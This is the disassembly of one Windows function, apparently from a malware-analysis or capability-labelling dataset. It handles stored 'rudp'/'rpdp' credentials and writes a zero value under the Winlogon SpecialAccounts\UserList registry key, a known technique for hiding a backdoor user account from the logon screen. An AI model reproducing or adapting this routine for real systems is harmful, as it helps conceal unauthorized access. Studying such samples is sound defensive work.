Function at 0x40c442
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 6
pop ecx
lea eax, [ebp - 0x28]
mov edi, 0x417cc8
lea esi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov esi, 0x417cc8
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [0x417d28], edi
mov dword [0x417d1c], 0x416cd0
mov dword [0x417d18], ebx
call fcn.0040bf64
test eax, eax
je 0x40c59c
push str.rudp
lea ecx, [ebp + 8]
call fcn.004033ab
push eax
lea eax, [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.0040ef92
push eax
mov ecx, 0x417d20
call fcn.004031fd
mov ecx, dword [ebp + 0xc]
call fcn.004058fb
mov ecx, dword [ebp + 8]
xor esi, esi
mov dword [ebp + 0xc], esi
call fcn.004058fb
push str.rpdp
lea ecx, [ebp + 8]
call fcn.004033ab
push eax
lea eax, [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.0040ef92
mov ebx, 0x417d24
push eax
mov ecx, ebx
call fcn.004031fd
mov ecx, dword [ebp + 0xc]
call fcn.004058fb
mov ecx, dword [ebp + 8]
mov dword [ebp + 0xc], esi
call fcn.004058fb
mov ecx, 0x417d20
call fcn.00403027
test eax, eax
jne 0x40c574
mov ecx, ebx
call fcn.00403027
test eax, eax
jne 0x40c574
mov ebx, 0x412428
lea ecx, [ebp + 8]
push ebx
call fcn.004033ab
push eax
push ebx
lea ecx, [ebp + 0xc]
call fcn.004033ab
push eax
push 8
lea ecx, [ebp - 0x20]
call fcn.004046da
push eax
mov ecx, edi
call fcn.00404a3d
lea ecx, [ebp - 0x20]
call fcn.004046b7
mov ecx, dword [ebp + 0xc]
call fcn.004058fb
mov ecx, dword [ebp + 8]
mov dword [ebp + 0xc], esi
call fcn.004058fb
jmp 0x40c594
push ebx
push 0x417d20
push 8
lea ecx, [ebp - 0x20]
call fcn.004046da
push eax
mov ecx, edi
call fcn.00404a3d
lea ecx, [ebp - 0x20]
call fcn.004046b7
xor esi, esi
inc esi
jmp 0x40c6a0
call fcn.0040d279
cmp eax, 6
jb 0x40c717
call fcn.0040d22a
test eax, eax
jne 0x40c717
call fcn.0040d724
cmp eax, 1
je 0x40c5ec
push 0x417d24
push 0x417d20
push 1
lea ecx, [ebp - 0x20]
call fcn.004046da
push eax
mov ecx, edi
call fcn.00404a3d
lea ecx, [ebp - 0x20]
call fcn.004046b7
xor esi, esi
jmp 0x40c6a0
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.0040326d
push eax
mov ecx, 0x417d20
call fcn.004031fd
mov ecx, dword [ebp + 8]
call fcn.004058fb
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.0040326d
mov ebx, 0x417d24
push eax
mov ecx, ebx
call fcn.004031fd
mov ecx, dword [ebp + 8]
call fcn.004058fb
lea eax, [ebp - 0x10]
xor esi, esi
push eax
lea eax, [ebp - 8]
push eax
push esi
push 0xf013f
push esi
push esi
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
push 4
push esi
push dword [0x417d20]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 0x417d20
call fcn.0040b55d
test eax, eax
jne 0x40c6b3
push ebx
push 0x417d20
push 9
lea ecx, [ebp - 0x20]
call fcn.004046da
push eax
mov ecx, edi
call fcn.00404a3d
lea ecx, [ebp - 0x20]
call fcn.004046b7
mov edi, 0x417cc8
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
jmp 0x40c744
push 0x417d20
push str.rudp
lea ecx, [ebp + 8]
call fcn.004033ab
mov esi, dword [ebp + 0xc]
mov ecx, esi
push eax
call fcn.0040ef5f
mov ecx, dword [ebp + 8]
call fcn.004058fb
push ebx
push str.rpdp
lea ecx, [ebp + 0xc]
call fcn.004033ab
push eax
mov ecx, esi
call fcn.0040ef5f
mov ecx, dword [ebp + 0xc]
call fcn.004058fb
mov edi, 0x417cc8
mov ecx, 0x417ce0
push edi
push 0x40c340
call fcn.00401e8e
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
inc eax
jmp 0x40c744
push 0x417d24
push 0x417d20
push 2
lea ecx, [ebp - 0x20]
call fcn.004046da
push eax
mov ecx, edi
call fcn.00404a3d
lea ecx, [ebp - 0x20]
call fcn.004046b7
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc